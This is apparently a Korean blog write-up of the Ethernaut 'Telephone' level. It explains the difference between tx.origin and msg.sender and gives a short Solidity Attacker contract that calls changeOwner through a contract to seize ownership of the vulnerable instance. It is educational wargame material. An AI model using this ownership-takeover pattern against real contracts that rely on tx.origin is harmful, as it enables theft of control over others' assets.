// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
우리의 mission은 해당 contract의 owner를 탈취하는 것이다.
코드를 보면 owner는 msg.sender로 해당 contract를 호출한 주소이다.
changeOwner() 함수를 보면 tx.origin != msg.sender가 같지 않으면 owner가 우리가 입력한 _owner로 바뀐다.
이 level을 해결하기 위해 tx.origin이랑 msg.sender의 차이점을 알아야 한다. 두개의 차이점을 알기 위해서 먼저 EOA랑 CA가 무엇인지를 알아야 한다.
EOA(External Owned Account)
외부 소유 계정, 스마트 지갑의 주소
계정의 주소를 통제할 수 있는 개인키가 존재
트랜잭션을 발생시킬 수 있음
CA(Contract Account)
컨트랙트 계정, 컨트랙트 주소
트랙잭션을 발생시킬 수 없고 EOA가 발생시킨 트랜잭션을 전송 받고 특정 액션을 취할 수 있음
msg.sender는 CA도 될 수 있고 EOA도 될 수 있다. EOA인 경우 EOA에서 트랜잭션을 발생시킬 수 있기 때문에 특정 contract 함수를 호출 할 때 msg.sender는 EOA가 된다. CA인 경우 특정 contract의 액션이 다른 contract를 호출하는 경우 호출한 msg.sender는 해당 함수를 호출한 주소이다.
tx.origin은 EOA밖에 될 수 없다.
해당 문제로 돌아오면 현재 owner는 level의 주소로 설정되어 있다. 그리고 if문도 뛰어 넘는 것으로 봐서 tx.origin == msg.sender인 것을 확인할 수 있다.
그럼 우리가 여기서 변조 시킬 수 있는 값은 무엇일까?? 바로 msg.sender이다.
위 설명에서 tx.origin은 EOA밖에 안되지만 msg.sender는 CA, EOA둘다 가능하다고 언급했다.
우리가 따로 Contract를 만들어서 거기서 changeOwner()함수를 호출하면 msg.sender는 내가 호출한 contract의 주소로 바뀐다.
remix를 이용하여 Telephone 코드를 가져온 후 밑에 새로운 contract를 만들었다.
contract Attacker{
Telephone telephone;
constructor(address _address) public {
telephone = Telephone(_address);
}
function changeOwner(address _owner) public {
telephone.changeOwner(_owner);
}
}
instance의 주소를 넣어서 deploy를 하고 changeOwner에 내 지갑의 주소를 넣으면 msg.sender는 Attack의 contract address가 되어서 tx.origin != msg.sender의 조건을 만족한다.
그러면 owner()가 내 지갑의 주소로 바뀌는 것을 확인할 수 있다.
해당 contract의 owner()가 되었으면 Submit instance를 누르면 Completed Level이 뜬다.